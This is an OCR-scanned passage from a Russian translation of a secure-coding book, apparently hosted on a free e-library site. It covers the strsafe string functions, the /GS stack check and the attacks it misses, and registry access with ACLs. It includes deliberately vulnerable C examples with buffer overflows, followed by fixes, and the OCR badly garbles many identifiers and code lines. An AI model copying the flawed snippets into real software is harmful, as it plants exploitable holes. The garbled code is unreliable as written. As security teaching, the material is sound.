Другая проблема, особенно часто проявляющаяся при работе со строками в AN7SI- и Unicode-формате одновременно, возникает из-за того, что путают размер строки в байтах и в символах, а это «две большие разницы*. Чтобы этого не про исходило, все функции библиотеки strsafe создаются в двух вариантах: один ра ботает только с символами, а второй — с байтами. Очень хорошо, что у вас есть возможность указать, какую из двух версий вы желаете вызвать;

для этого надо onpi • делить флаг STRSAFE_NO_CB JUNCTIONS или STRSAFE_NO_CCHJUNCTIONS.

Кроме того, в вашем распоряжении расширенные функции, которые делают практически все, что понадобится. Вот некоторые доступные флаги:

• STRSAFE_FILL_BEHIND_NULL определяет символ, которым заполняется оставшеес я в буфере место. Он удобен для проверки вызывающего кода, а именно топ >, действительно ли размер буфера такой, как утверждается;

• STRSAFEJGNORE_NULLS трактует переданный null как пустую строку. Исполь зуйте для замены вызовов Istrcpy;

• STRSAFE_FHJ._ON_FA1LURE заполняет выходной буфер в случае аварийного за вершения функции;

• STRSAFE_NULL_ON_FAILURE устанавливает выходной буфер в пустую строку в случае сбоя функции;

• STRSAFE_NO_TRUNCATIONтрактует урезание строки как неисправимую ошибку.

Разрешается комбинировать с одним или двумя флагами, приведенными выше.

Методы безопасного кодирования 142 Часть II Расширенные функции отрицательно сказываются на производительности. Я стараюсь их использовать в режиме отладки, чтобы выявить ошибки, а также ког да крайне необходимы дополнительные возможности. Они делают и другие по лезные вещи, например выводят число символов (или байт), оставшихся в буфе ре, или указатель на конец строки.

Но самая главная особенность Strsafe.h такова: если не определить STRSAFE_NO_ DEPRECATE, старые и опасные функции вызывают ошибки компилятора! Хочу вас предостеречь: задействовав эту возможность для большого по объему кода на поздних этапах разработки, вы можете «потонуть» в ошибках, а процесс разра ботки приложения дестабилизируется. Если хотите избавиться от всех старых функций, лучше всего это сделать на ранних этапах разработки. С другой сторо ны, я больше всего боюсь ошибок, связанных с безопасностью, так что сами ре шайте, что вам важнее. Детальную информацию и обновленную версию ищите на Web-c4paHuuebttp://msdn.microsoft.com/libraty/en-its/wmu^ face/resources/strings/usingstrsafefunctions.asp.

Следующие примеры демонстрируют сценарий до и после замены в програм ме на С опасных функций на функции из библиотеки strsafe-.

П Крайне небезопасный CRT-код void UnsafeFuncUPTSTR szPath. DWORD cchPath) \ TCHAR szCWD[MAX_PATH];

GetCurrentDirectory(ARRAYSIZE(szCWD), szCWD);

strncpy(szPath, szCWD, cchPath};

strncat(szPath. TEXT("\\")- cchPath);

strncatfszPath, TEXT( "desktop. ini"), cchPath);

:

// Более безопасный код с применением strsafe bool SaferFunc(LPTSTR szPath, DWORD cchPath) { TCHAR szCWD[MAX_PATH];

if (GetCurrentDirectory(ARRAYSIZE(szCWD), szCWD) && SUCCEEDED(StringCchCopy(szPath, cchPath, szCWD)) && SUCCEEDED(StringCchCat(szPath, cchPath, TEXT("\\"))) && SUCCEEDED(StringCchCat(szPath, cchPath, TEXT("desktop.ini")))) { return true;

return false;

Пара слов об осторожности при работе со строковыми функциями Даже при работе с более безопасными строковыми функциями, в том числе из библиотеки strsafe, требуются умственные усилия. Посмотрите на следующий код на основе библиотеки strsafe. Видите «дыру»?

Враг №1: переполнение буфера 14- ГЛАВА char buff1[N1];

char buff2[N2];

HRESULT hi = StringCchCat(buff1, ARRAYSIZECbuffi), szData);

HRESULT h2 = StringCchCat(buff2. ARRAYSIZE(buffl), szData);

Взгляните на второй аргумент в обоих вызовах StnngCchCat. Второй вызов некор ректен: переменная buf2 заполняется, исходя из размера bufl. А должно быть так:

char buff1[Nl];

Char buff2[N2];

HRESULT hi = StringCchCat(buff1. ARRAYSIZE{buff1), szData};

HRESULT h2 = StringCchCat(buff2, ARRAYSIZE(buff2), szOata);

To же самое применимо и для версий функций библиотеки С. Мы с Майклом часто шутим насчет того, что можно месяц заменять все вызовы strcpy и strcat i ia strncpy и strncat соответственно, а затем еще месяц исправлять ошибки, появив шиеся из-за такого массового «перелопачивания» кода. Что не так в этом примере?

tfdefine MAXSTRLEN(s) (sizeof(s)/sizeof(з[0]>) if (bstrURL != NULL) { WCHAR szTmp[MAX_PATH];

LPCWSTR szExtSrc;

LPWSTR szExtDst;

wcsncpyC szTmp, bstrURL, HAXSTRLEN(szTmp) );

szTmp[MAXSTRLEN(szTmp)-1] = 0;

szExtSrc = wcsrchr( bstrURL, ', szExtDst = wcsrchr{ szTmp, ', if(szExtDst) { szExtDst[0] = 0;

if(IsDesktopO) { wcsncat( szTmp, L"_DESKTOP", MAXSTRLEN(szTmp) );

wcsncat( szTmp, szExtSrc, MAXSTRLEN(szTmp) );

Вроде бы все хорошо, но в любой момент может случиться переполнение бу фера. Проблема кроется в последнем аргументе функций конкатенации. В боль шинстве случаев он должен содержать величину свободного места в буфере szTn;

t>^ но это не так. Здесь всегда передается полный размер буфера, а ведь по мере до бавления данных свободное пространство в буфере уменьшается.

Параметр /GS компилятора Visual C++.NET Новый замечательный параметр /GS компилятора Visual C++.NET позволяет по мещать «канарейку» между любой определенной в стеке переменной и указателя ми на ЕВР, на адрес возврата и на обработчик исключений функции. Параметр /GS предотвращает эксплуатацию простого переполнения буфера.

144 Часть II Методы безопасного кодирования Примечание Параметр /GS делает то же самое, что утилита StackGuard, создан ная Гриспином Кованом (Crispin Cowan) и доступная на сайте http:// www.immunix.org. Она разработана для защиты приложений, скомпили рованных средствами gcc. Однако параметр /GS и StackGuard никак не связаны, они разрабатывались независимо.

Класс — это действительно круто. Значит ли это, что достаточно приобрести Visual C++.NET, радостно скомпилировать свою программу с параметром /GS и навсегда забыть о переполнении буфера? Нет. Есть масса типов атак, которые ни /GS, ни StackGuard не в состоянии предотвратить. Сейчас я познакомлю вас с не которыми способами использования переполнения буфера для изменения хода выполнения программы. (Текст взят из замечательного документа, созданного командой по безопасности Microsoft Office.) • Разрушение стека (stack smashing) ~- стандартный метод переполнения буфера для изменения адреса возврата функции. Пресекается «на корню» па раметром/GS.

• Перенаправление указателя (pointer subterfuge) — перезапись локального указателя с целью поместить данные в нужное место. Параметр /GS не в со стоянии предотвратить атаку, если это место — не адрес возврата.

• Атака на регистр (register attack) — перезапись значения, хранимого в регистре (например в ЕВР), для получения управления. Иногда удается предот вратить.

• Захват Viable (VTable hijacking) — изменение локальной ссылки на объект так, чтобы вызов VTable приводил к запуску' нужной функции. Как правило,/GS здесь не помогает. Одна из интересных особенностей /GS — способность из менять порядок, в котором переменные размещаются в стеке, чтобы поместить опасные массивы поближе к «канарейке*, таким образом предотвращая неко торые атаки. Имейте в виду, что захватить VTable удается и за счет переполне ний других типов, • Захламление обработчиков исключений (exception handler clobbe ring) — изменение кода обработки исключения, заставляющее систему выпол нить подставленный взломщиком код. Параметр/GS здесь также не помогает, однако в будущих версиях предполагается обрабатывать такую ситуацию.

• Выход индекса за границы диапазона (index out of range) — использо вание индекса массива, который не проверяется на соответствие разрешенному диапазону. Параметр /GS здесь также не помощник, за исключением случая изменения адреса возврата.

• Переполнения кучи (heap overflow) — принуждение диспетчера кучи к выполнению злой воли хакера. От этого /GS тоже не спасет.

Если/GS не избавляет от подобных проблем, что же в нем хорошего'' Провер ка целостности стека избавляет только от прямого нарушения структуры стека и особенно адреса возврата, который помещается в регистры EIP и ЕВР. Он превос ходно справляется с проблемами, для борьбы с которыми и предназначен, но не совсем годится для предотвращения брешей, которых «не понимает*. Более того, я могу привести примеры заковыристых многошаговых атак, которые обходят/GS ГЛАВА 5 Враг №1: переполнение буфера (и любой другой механизм защиты стека). Я не пытаюсь предотвращать пробле мы в подобных сложных атаках, — я хочу предотвратить проблемы в реальном коде приложений.

Некоторые из брешей, с которыми позволяет справляться проверка стека, от носятся к ошибкам общего типа. Взять хотя бы приложение из этой главы, демон стрирующее ошибку занижения размера буфера на единицу. Любой из нас может ошибиться и написать такой код. Думаю, мне не удастся сказать лучше, чем го ворится в материалах, подобранных Гриспином Кованом (ссылки вы найдете на http://immunix.org/stackguard.htmr), — это примеры ошибок из реальной жизни, ко торые удалось исправить путем простой перекомпиляции.

п Как утверждает Грег Хогланд (Greg Hoglund) в своих сообщениях на сай е NTBUGTRAQ, нельзя расслабляться, просто установив /GS. Посмотрим, что мы в состоянии сделать, чтобы избавиться от проблем, • Запрет на вызовы небезопасных функций — неплохой способ, но про граммисты все равно найдут возможность напортачить, впрочем, об этом я уже говорил.

• Проверка кода — еще один хороший метод выявления ошибок, но проверя ющий, как и автор кода, тоже человек, а значит, может ошибаться. Качество проверки кода напрямую зависит от опыта проверяющего, а также от того, насколько он свеж и бодр. Везение тоже не стоит сбрасывать со счетов. Напи санная Майклом программка содержала ошибку занижения размера буфера, и я нашел ее. Но до этого программу смотрели многие матерые программист ы (в том числе и сам Майкл), но никто ее не заметил, • Тщательное тестирование — еще один мощный инструмент, но кто из H.IC претендует на обладание идеальным планом тестирования?

• Средства анализа кода — эта область пока находится в зачаточном состоя нии. Их преимущество в том, что они всегда начеку и быстро анализирую >т миллионы строк кода. Убогое средство сканирования кода ничем не лучше команды:

grep strcpy «.с А любой умелец, владеющий Perl, способен самостоятельно написать сцена рий получше. Впрочем, даже лучшие средства анализа не охватывают все типы брешей. Сейчас ведутся активные исследования, и я надеюсь, что следующее поколения намного лучше справятся со своей задачей. Однако проблема оче. ib сложна, так что не ждите быстрого решения.

Я считаю все эти меры предосторожности чем-то вроде ремней безопасности в автомобиле. Чтобы не случилось беды, я стараюсь содержать свой автомобиль в порядке: слежу, чтобы колеса были накачаны, езжу аккуратно, регулярно прове ряю исправность подушек безопасности и системы ABS. Ремни безопасности че панацея от всех бед. Они не спасут, если я свалюсь с обрыва высотой 2000 футов, Но в случае аварии ремни, скорее всего, помогут мне выжить. То же касается и /GS. Избегайте опасных вызовов, проверяйте код, тестируйте и используйте хо рошие средства анализа кода. Проделайте все это, а затем добавьте параметр /6*5, чтобы защитить себя, если все остальные меры не спасут.

Методы безопасного кодирования 146 Часть II Другое преимущество параметра /GS (а он выручал меня не раз) в том, что некоторые типы брешей он выявляет моментально. Проверка стека в паре с про думанным планом тестирования позволит вместо погони за случайными ошиб ками выкорчевывать их первопричину (особенно это справедливо для сетевых приложений).

Внимание! Параметр/GS — небольшая мера предосторожности, не более того.

Он никогда не заменит хорошо написанный, качественный код.

Резюме Переполнение буфера стало причиной многих разрушительных взломов систем безопасности. Мы показали, как переполнение различных типов и ошибки в стро ках форматирования влияют на ход выполнения приложения. Надеюсь, что, по няв, как хакеры пользуются этими ошибками, вы станете более серьезно относиться к обработке вводимых пользователем данных. Мы так же рассказали о некоторых популярных функциях обработки строк и о том, как неразумное их использова ние подрывает безопасность кода. Здесь также представлены некоторые решения:

правильное использование строковых классов или функций, определенных в Strsafe.h, поможет сделать ваш код более надежным и заслуживающим доверия. И.

наконец, не надо забывать об ограничениях имеющихся средств анализа кода.

Параметры компилятора, застаачяющие его выполнять проверку стека, служат как страховка, но они не никогда не заменят хорошо написанный, безопасный код.

ГЛАВА Выбор механизма управления доступом О Microsoft Windows предусмотрено множество способов управления доступом пользователей к объектам. Стандартное и наименее знакомое большинству пользо вателей средство — списки управления доступом (Access Control List, ACL). Спис ки ACL — структурообразующая часть Windows NT/2000/XP и Windows.NET Serv er 2003. В процессе анализа защиты приложений мне частенько приходится выяс нять, как ACL и другие механизмы управления доступом применяются в тех или иных приложениях для защиты важных ресурсов, таких как разделы реестра и файлы. В большинстве случаев разработчики реализуют управление доступом из рук вон плохо, отчего ресурсы остаются беззащитными перед атаками, В этой главе я расскажу, как выбрать механизм управления доступом, чтобы защитить ресурсы, а также о том, почему так важны списки ACL, из чего они со стоят, как выбрать, создать и настроить ACL, почему опасны пустые избиратель ные таблицы управления доступом (Discretionary Access Control List, DACL) и не удачно составленные записи управления доступом (Access Control Entry, АСЕ) и какие еще существуют механизмы управления доступом.

Почему списки ACL так важны Если не считать качественную реализацию шифрования и управления ключами, списки ACL можно считать буквально последним форпостом защиты, способным остановить прорвавшего большинство заслонов взломщика. Как только злоумыш ленник получает доступ к ресурсу, основная задача решена.

Внимание! Качественные списки ACL — исключительно важный механизм защиты. Обязательно задействуйте его.

Методы безопасного кодирования 148 Часть II Представьте себе, что ваше приложение хранит важную информацию в осо бом разделе реестра, a ACL этого раздела содержит разрешение Full Control (Пол ный доступ) для группы Everyone (Все). Это означает, что лкнюй вправе делать с данными приложения все, что заблагорассудится, в том числе читать, писать или изменять их, а также запрещать доступ к ним других приложений и пользовате лей. Вот пример кода, который считывает информацию из раздела реестра, за щищенного подобным небезопасным ACL Sdefine HAX_BUFF (64) ftdefine MY_VALUE "SomeData" BYTE bBuff[MAX_BUFF];

ZeroMemory(bBuff, NAX_BUFF);

// Открываем реестр.

HKEY hKey = MULL;

if (RegOpenKeyEx(HKEY_LOCAL_HACHINE, "Software\\Northwindt raders", 0, KEY_READ, ihKey) == ERROR.SUCCESS) { // Определяем объем данных, которые нужно считать.

DWORD cbBuff = 0;

if (RegQueryValueEx(hKey, HY_VALUE, NULL, NULL, NULL, &CbBuff) == EHROR^SUCCESS) { // Считываен всю информацию, if (RegQueryValueEx(hKey, MYJ/ALUE, NULL, NULL, bBuff, AcbBuff) == ERROR.SUCCESS) { // Класс! Мы считали информацию из реестра.

!

if (hKey) RegCloseKey(hKey);

На первый взгляд программа вроде бы неплоха, но на самом деле она «дыря ва» до безобразия. Здесь ошибочно предполагается, что объем данных в реестре не превышает 64 байта. В первом вызове функции RegQueryValueEx считывается размер данных реестра, а во втором — в локальный буфер считывается число байт, определенное при первом вызове. Если объем данных превышает 64 байта, буфер переполняется.

Выбор механизма управления доступом ГЛАВА Насколько же это опасно? Прежде всего надо исправить код (чуть позже я покажу как). ACL раздела реестра исключительно рискован. Если он предусматривает разрешение Full Control для группы Everyone, опасность велика, так как любой пользователь сможет увеличить объем информации в разделе до объема, превы шающего 64 байта, и переполнить буфер. Кроме того, взломщику ничего не сто ит заменить разрешение для группы Everyone на Deny: Full Controll (Запретить:

Полный доступ), что перекроет доступ приложения к данным.

Если в ACL предусмотреть разрешение Full Control для Administrators и Read (Чтение) для Everyone, опасность уменьшится, так как изменять данные и разре шения смогут только администраторы (уровень доступа WR1TE_DAC). Всем осталь ным пользователям информация станет доступной только для чтения. Иначе го воря, возможность «обрушить» приложения останется только у администрато эа, да и то лишь по неосторожности. Но если атакующий уже получил полномочия администратора, могу вам только посочувствовать — готовьтесь к наихудшему!

Следует ли из сказанного, что, имея «хорошие» списки ACL, можно програм мировать «спустя рукава»? Ни в коей мере! Если сомневаетесь, перечитайте е це раз раздел «Защищайте все уровни* главы 3- А теперь посмотрим, как следует ис править код.

Раздел не «по теме»: исправление кода доступа к реестру Этот подраздел никак не касается списков ACL, но поскольку книга посвящена безопасному программированию и раз уж речь зашла о доступе к реестру, дум;

ю, нелишне показать, как решаются подобные «задачки». Вначале надо поступить примерно так:

// Определяем объем данных, которые нужно считать.

DWORD cbBuff = 0;

if (RegQueryValueEx(hKey, MY.VALUE, HULL, NULL, NULL, bcbBuff) == ERROR.SUCCESS) { BYTE *pbBuff = new BYTE[cbBuff];

// Теперь считывай число байт, указанное в cbBuff.

if (pbBuff && RegQueryValueEx(hKey, HY_VALUE, NULL, NULL, pbBuff, icbBuff) == ERROR_SUCCSS) { // Замечательно! Мы считали информацию из реестра.

// Используем данные, delete [] pbBuff;

Часть II Методы безопасного кодирования Этот код тоже не лишен недостатков, но другого плана. Здесь память выделя ется динамически, на основании реального размера данных, и только после это го программа переходит к чтению информации из реестра. Но что, если из-за «-слабости» ACL атакующему удастся записать в реестр 10 Мб, вынудив приложе ние выделить 10 Мб памяти? А если такая операция выполняется в цикле десятки или сотни раз? Ваша программа «сожрет» сотни мегабайт только потому, что атакую щий заставил ее читать по 10 Мб в каждом проходе. Вскоре приложение исчер пает память, а компьютер «повиснет», беспрерывно перебрасывая данные между памятью и страничным файлом.

Лично я бы решил проблему так:

BYTE bBuff[MAX_BUFF];

ZeroMemory(bBuff, MAX_BUFF);

HKEY hKey = NULL;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Northwindtraders", 0, KEY_READ, ShKey) == ERROR_SUCCESS) { DWORD cbBuff = sizeof (bBuff);

// Считываем данные, но более байт, чем указано в MAX_BUFF.

if (RegQueryValueEx(hKey, MY_VALUE, NULL, NULL, bBuff, &CbBuff) == ERROR.SUCCESS) { // Замечательно! Мы считали информацию из реестра.

} !

if (hKey} RegCloseKey(hKey);

В этом случае, даже если взломщик и загрузит значительный объем данных в реестр, программа считает данные, но не более, чем определено в A-1AX_BUFF. Если информации окажется больше, RegQueryValueEx возвратит ошибку ERKOR_MO REJDATA, сообщая, что данные не помещаются в буфере.

Не побоюсь повториться: риск уменьшится, если назначать рассматриваемо му разделу реестра надежные списки ACL. Но это никоим образом не избавляет вас от обязанности выкорчевывать ошибки из кода на случай ненадежного ACL или непреднамеренного его ослабления из-за неосторожных действий админис тратора. Но хватит посторонних разговоров — вернемся к спискам ACL.

Из чего состоит ACL Я вкратце расскажу о списках ACL, на случай, если вы не знаете или подзабыли, что это такое. Те же. кто владеет предметом, могут пропустить этот раздел.. ACL — это метод управления доступом к ресурсам, принятый во многих ОС, в том числе Выбор механизма управления доступом ГЛАВА в Windows NT/2000/XP. В Windows 95/98/Ме и в Windows СЕ списки ACL не под держиваются.

Pages:     | 1 | 2 || 4 | 5 |   ...   | 12 |



© 2011 www.dissers.ru - «Бесплатная электронная библиотека»

Материалы этого сайта размещены для ознакомления, все права принадлежат их авторам.
Если Вы не согласны с тем, что Ваш материал размещён на этом сайте, пожалуйста, напишите нам, мы в течении 1-2 рабочих дней удалим его.